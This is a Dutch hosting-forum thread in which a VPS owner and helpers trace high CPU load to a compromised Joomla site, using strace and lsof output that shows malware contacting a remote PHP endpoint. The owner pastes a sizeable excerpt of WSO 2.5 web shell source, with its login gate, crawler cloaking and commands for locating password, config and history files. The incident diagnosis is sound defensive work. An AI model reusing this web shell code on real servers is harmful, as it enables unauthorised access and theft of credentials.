PDA

Bekijk Volledige Versie : CPU Load VPS erg hoog



roelvde
11/06/14, 13:11
Op 9 juni is onze Blade VPS X4 doelwit geweest een redelijk heftige brute force aanval. De VPS en websites waren zeer slecht te bereiken, CPU load was tegen de 200% en het dataverkeer was voor ons extreem hoog. Ik heb er toen meteen CSF opgezet en verschillende IPs geblokkeerd, daarna nam het dataverkeer af en de IO ook.
Alleen is nu al 2 dagen de CPU load voortdurend tegen de 200%, als we de vps herstarten schiet hij na 5min weer omhoog.
Hieronder een copy+paste van top command.

Mijn kennis hierover is niet heel groot, weet iemand wat de oorzaak kan zijn en hoe ik dit probleem moet aanpakken?

Op onze VPS draaien wij CentOS 6.5 met DirectAdmin.

top - 12:53:46 up 24 min, 1 user, load average: 31.84, 20.63, 9.63
Tasks: 174 total, 2 running, 172 sleeping, 0 stopped, 0 zombie
Cpu(s): 12.7%us, 83.8%sy, 0.0%ni, 2.8%id, 0.0%wa, 0.0%hi, 0.3%si, 0.3%st
Mem: 3922748k total, 1280284k used, 2642464k free, 134500k buffers
Swap: 2064376k total, 0k used, 2064376k free, 588816k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2338 apache 20 0 1394m 3096 952 S 198.5 0.1 15:10.35 host
2777 admin 20 0 55360 2660 1404 D 4.0 0.1 0:05.13 directadmin
2256 apache 20 0 224m 31m 4316 R 1.3 0.8 0:01.90 httpd
22 root 20 0 0 0 0 S 0.3 0.0 0:00.50 kblockd/0
2706 root 20 0 15028 1300 940 R 0.3 0.0 0:00.84 top
1 root 20 0 19356 1500 1196 S 0.0 0.0 0:00.92 init

Tim.Bracquez
11/06/14, 13:52
Dit ene process doet het hem allemaal:

2338 apache 20 0 1394m 3096 952 S 198.5 0.1 15:10.35 host

Dit ga je moeten onderzoeken wat hier achter draait, ik gok één of ander gek script dat de server aan het misbruiken is (ddos, scanning, mailing of bitcoin/litecoin mining)

roelvde
11/06/14, 14:07
Hoe kan ik dit dan onderzoeken?

Ramon Fincken
11/06/14, 14:23
mag ik het zeggen? aah toe?

Komt ie:
systeembeheerder inschakelen / inhuren aangenomen dat je een unmanaged VPS hebt. Als hij managed is dan zou dit al voor je ontzorgd horen te zijn.

vDong
11/06/14, 14:37
Dit ene process doet het hem allemaal:

Dit ga je moeten onderzoeken wat hier achter draait, ik gok één of ander gek script dat de server aan het misbruiken is (ddos, scanning, mailing of bitcoin/litecoin mining)

Gezien de CPU usage (en de rest dat meevalt) zou ik vrijwel zeker mining zeggen.

Tim.Bracquez
11/06/14, 14:39
Gezien de CPU usage (en de rest dat meevalt) zou ik vrijwel zeker mining zeggen.
Vermoed ik ook.

TS: In ieder geval, dit process moet je (laten) onderzoeken wat er gaande is, en hoe dit er op komt. Gewoon stoppen heeft geen zin want dan zullen ze dit terug starten.

MarkKapitein
11/06/14, 14:49
Even een simpel server-status?

httpd.conf

ExtendedStatus on
<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from xx.xx.xx.xx

SF-Jeroen
11/06/14, 14:52
Ik zou eerst even kijken wat het precies doet. Afhankelijk van hoe het werkt zou je kunnen stracen. (strace -p PID).

roelvde
11/06/14, 15:54
Ik zou eerst even kijken wat het precies doet. Afhankelijk van hoe het werkt zou je kunnen stracen. (strace -p PID).

Als ik dit doe krijg ik deze output:

nanosleep({1, 0}, 0x7fffe075f620) = 0
rt_sigprocmask(SIG_SETMASK, [HUP INT TERM], NULL, 8) = 0
gettimeofday({1402494702, 159353}, NULL) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [HUP INT TERM], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_IGN, [CHLD], SA_RESTORER|SA_RESTART, 0x32c9432920}, 8) = 0

roelvde
11/06/14, 18:03
Toen ik de trace uitvoerde, kwam dit vreemde bericht ook voorbij


sendto(84, "\24\0\0\0\26\0\1\3hl\230S\0\0\0\0\0\0\0\0", 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20
recvmsg(84, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"0\0\0\0\24\0\2\0hl\230S\4\n\0\0\2\10\200\376\1\0\0 \0\10\0\1\0\177\0\0\1"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 108
recvmsg(84, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"@\0\0\0\24\0\2\0hl\230S\4\n\0\0\n\200\200\376\1\0\ 0\0\24\0\1\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 192
recvmsg(84, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"\24\0\0\0\3\0\2\0hl\230S\4\n\0\0\0\0\0\0\1\0\0\0\2 4\0\1\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 20
close(84) = 0
futex(0x32c97915f0, FUTEX_WAKE_PRIVATE, 1) = 0
futex(0x32c97915f0, FUTEX_WAKE_PRIVATE, 1) = 0
open("/etc/hosts", O_RDONLY|O_CLOEXEC) = 84
fstat(84, {st_mode=S_IFREG|0644, st_size=330, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdeb25af000
read(84, "# Do not remove the following li"..., 4096) = 330
read(84, "", 4096) = 0
close(84) = 0
munmap(0x7fdeb25af000, 4096) = 0
socket(PF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 84
connect(84, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("80.69.67.66")}, 16) = 0
gettimeofday({1402498152, 897226}, NULL) = 0
poll([{fd=84, events=POLLOUT}], 1, 0) = 1 ([{fd=84, revents=POLLOUT}])
sendto(84, "c\306\1\0\0\1\0\0\0\0\0\0\fmy-top-games\4info\0\0"..., 35, MSG_NOSIGNAL, NULL, 0) = 35
poll([{fd=84, events=POLLIN|POLLOUT}], 1, 5000) = 1 ([{fd=84, revents=POLLOUT}])
sendto(84, "\0225\1\0\0\1\0\0\0\0\0\0\fmy-top-games\4info\0\0"..., 35, MSG_NOSIGNAL, NULL, 0) = 35
gettimeofday({1402498152, 897428}, NULL) = 0
poll([{fd=84, events=POLLIN}], 1, 4999) = 1 ([{fd=84, revents=POLLIN}])
ioctl(84, FIONREAD, [150]) = 0
recvfrom(84, "c\306\201\200\0\1\0\1\0\5\0\0\fmy-top-games\4info\0\0"..., 2048, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("80.69.67.66")}, [16]) = 150
gettimeofday({1402498152, 897848}, NULL) = 0
poll([{fd=84, events=POLLIN}], 1, 4999) = 1 ([{fd=84, revents=POLLIN}])
ioctl(84, FIONREAD, [89]) = 0
recvfrom(84, "\0225\201\200\0\1\0\0\0\1\0\0\fmy-top-games\4info\0\0"..., 1898, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("80.69.67.66")}, [16]) = 89
close(84) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 84
connect(84, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("89.45.14.210")}, 16) = 0
gettimeofday({1402498152, 935142}, NULL) = 0
write(84, "POST /kuku/theend.php HTTP/1.0\r\n"..., 218) = 218
read(84, "HTTP/1.1 200 OK\r\nDate: Wed, 11 J"..., 32768) = 193
read(84, "", 32768) = 0
close(84) = 0

Spyder01
11/06/14, 18:35
Doe eens lsof -p PID, als ik het goed zag is je pid 2338

Pnin.
11/06/14, 19:03
Maak je gebruik van Joomla? Als ik zoek op "kuku/theend.php" kom ik dit tegen:

http://blog.malwaremustdie.org/2014/06/recent-incident-report-of-linux-elf.html

roelvde
11/06/14, 19:55
Maak je gebruik van Joomla? Als ik zoek op "kuku/theend.php" kom ik dit tegen:

http://blog.malwaremustdie.org/2014/06/recent-incident-report-of-linux-elf.html

Ja wij hosten inderdaad een aantal Joomla websites. Ik heb geprobeerd om kuku/theend.php te zoeken maar zonder resultaat. Zou het kunnen dat deze zich bevind ergens anders dan op een domein met joomla? Ergens in Directadmin of CentOS zelf?

Spyder01
11/06/14, 20:20
Ja wij hosten inderdaad een aantal Joomla websites. Ik heb geprobeerd om kuku/theend.php te zoeken maar zonder resultaat. Zou het kunnen dat deze zich bevind ergens anders dan op een domein met joomla? Ergens in Directadmin of CentOS zelf?

Als je doet wat er in mijn post staat kom je in de meeste gevallen een stuk meer te weten.

Daros
11/06/14, 20:58
Stuur anders een pb met je ssh gegevens dan wil ik wel even kijken wat het is


Sent from my iPhone using webhostingtalk mobile app

roelvde
11/06/14, 22:07
Ik heb lsof -p 2960 uitgevoerd en krijg dit er uit?
Kan ik hier uit opmaken dat kite-lines.com vervuild is?


[root@SIMS roelvde]# lsof -p 2960
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
host 2960 apache cwd DIR 253,0 4096 3756732 /home/admin/domains/kite-lines.com/public_html/tmp
host 2960 apache rtd DIR 253,0 4096 2 /
host 2960 apache txt REG 253,0 118360 273944 /usr/bin/host
host 2960 apache mem REG 253,0 156872 294856 /lib64/ld-2.12.so
host 2960 apache mem REG 253,0 124624 283345 /lib64/libselinux.so.1
host 2960 apache mem REG 253,0 1922112 294857 /lib64/libc-2.12.so
host 2960 apache mem REG 253,0 22536 294859 /lib64/libdl-2.12.so
host 2960 apache mem REG 253,0 145720 294872 /lib64/libpthread-2.12.so
host 2960 apache mem REG 253,0 598800 270995 /lib64/libm-2.12.so
host 2960 apache mem REG 253,0 113952 294880 /lib64/libresolv-2.12.so
host 2960 apache mem REG 253,0 272360 286172 /lib64/libgssapi_krb5.so.2.2
host 2960 apache mem REG 253,0 17256 294883 /lib64/libcom_err.so.2.1
host 2960 apache mem REG 253,0 12592 274145 /lib64/libkeyutils.so.1.3
host 2960 apache mem REG 253,0 181632 294882 /lib64/libk5crypto.so.3.1
host 2960 apache mem REG 253,0 915736 294884 /lib64/libkrb5.so.3.3
host 2960 apache mem REG 253,0 46352 294881 /lib64/libkrb5support.so.0.1
host 2960 apache mem REG 253,0 21152 272709 /lib64/libattr.so.1.1.0
host 2960 apache mem REG 253,0 19016 264392 /lib64/libcap.so.2.16
host 2960 apache mem REG 253,0 209120 267540 /lib64/libidn.so.11.6.1
host 2960 apache DEL REG 253,0 3762123 /home/admin/domains/kite-lines.com/public_html/tmp/bruteforce.so
host 2960 apache mem REG 253,0 27424 262154 /lib64/libnss_dns-2.12.so
host 2960 apache mem REG 253,0 65928 262156 /lib64/libnss_files-2.12.so
host 2960 apache mem REG 253,0 12582912 3762117 /home/admin/domains/kite-lines.com/public_html/tmp/.sd0
host 2960 apache mem REG 253,0 1474063 290380 /usr/local/lib/libiconv.so.2.5.1
host 2960 apache mem REG 253,0 98661 287043 /usr/local/lib/libz.so.1.2.3
host 2960 apache mem REG 253,0 4210973 273648 /usr/local/lib/libxml2.so.2.7.6
host 2960 apache mem REG 253,0 355952 273936 /usr/lib64/libisc.so.83.0.3
host 2960 apache mem REG 253,0 32056 273938 /usr/lib64/libisccc.so.80.0.0
host 2960 apache mem REG 253,0 1662832 264317 /usr/lib64/libcrypto.so.1.0.0
host 2960 apache mem REG 253,0 132992 273940 /usr/lib64/libisccfg.so.82.0.1
host 2960 apache mem REG 253,0 49936 273932 /usr/lib64/libbind9.so.80.0.4
host 2960 apache mem REG 253,0 1657824 273934 /usr/lib64/libdns.so.81.4.1
host 2960 apache mem REG 253,0 73336 273942 /usr/lib64/liblwres.so.80.0.2
host 2960 apache DEL REG 253,0 3762122 /home/admin/domains/kite-lines.com/public_html/tmp/libworker.so
host 2960 apache 0r CHR 1,3 0t0 3649 /dev/null
host 2960 apache 1r CHR 1,3 0t0 3649 /dev/null
host 2960 apache 2r CHR 1,3 0t0 3649 /dev/null
host 2960 apache 3r CHR 1,3 0t0 3649 /dev/null

Spyder01
11/06/14, 22:19
Om e.e.a. vast op te schonen zou ik die tmp map in de public_html eens leeggooien. Vergelijk de files maar eens die je daar ziet met de output van lsof. Gebruik wel ls -al om ook de hidden meuk te zien (en check even op symlinks voordat je e.e.a. verwijderd).

Je bent er hierna waarschijnlijk nog niet afhankelijk van de aard van de vervuiling. Maar first thing first.

roelvde
11/06/14, 22:41
Ten eerste erg bedank voor de hulp tot nu toe!

Dit kwam ik tegen in de tmp map van Kite-lines. Een Exploit?
Wil dit nu ook betekenen dat deze persoon toegang heeft tot onze volledige vps en misschien veel meer is vervuild?



<?php
$auth_pass = "7e9424bfa12d1f2ad32463ac1a80e407";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);

function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
......

systemdeveloper
11/06/14, 23:18
Een exploit is het niet maar wel een hack tool die a) iemand de mogelijkheid geeft om voldoende te vinden op je server waar ze niks mee te maken hebben en b) blijkbaar zelfs een bruteforcer mag laden...

Afhankelijk van je algemene server beveiliging heb je kans dat je redelijk gehacked bent... Omdat je de site ook nog onder het admin account hebt draaien, maakt het allemaal niet beter.

bibawa
12/06/14, 00:01
Heb vorige week identiek hetzelfde script gevonden in een wordpress installatie.. Bekijk heel de wordpress directory even want bij mij waren er taloze files aangepast met brol code..

Heb je al iets van maldet oid losgelaten op je server ? zal niet alles vinden maar wijst je mogelijk al wel in de richting..

Ramon Fincken
12/06/14, 15:57
..
Omdat je de site ook nog onder het admin account hebt draaien, maakt het allemaal niet beter.

standaard apache user bedoel je toch? (ipv admin)

systemdeveloper
12/06/14, 16:02
standaard apache user bedoel je toch? (ipv admin)

Nope, dat ie onder het admin account staat. Los daarvan draait het ook nog onder de user apache idd.

Ramon Fincken
12/06/14, 16:19
ah de locatie ! scherp ja ;)

Heeft Transip een managed VPS-en dan?

systemdeveloper
12/06/14, 16:28
ah de locatie ! scherp ja ;)

Heeft Transip een managed VPS-en dan?

Niet voor zower ik weet.... selfservice, selfdestroy daar, he ;)

roelvde
12/06/14, 21:32
Ja klopt onze vps draait bij Transip, unmanaged ze hebben daar geen managed(vroeger wel). Met hulp van user Daro is de vps weer redelijk stabiel, waar ik hem zeer dankbaar voor ben!

Het probleem lag bij een domein waar wij iemand (een kennis) een site hebben laten bouwen (joomla met template), deze werd slecht onderhouden en hier is een exploit gebruikt waardoor onze vps hevig werd belast.
Inmiddels hebben we een nieuwe VPS waar we meteen de nodige beveiliging hebben geinstalleerd en onze belangrijkste klanten naar hebben verhuisd.

Bedankt voor de reacties

Spyder01
12/06/14, 22:31
Maar even serieus. Je hebt er dus voor jou belangrijke klanten op draaien maar een tekort aan kennis om e.e.a. goed te onderhouden. Dat is geen goede combinatie.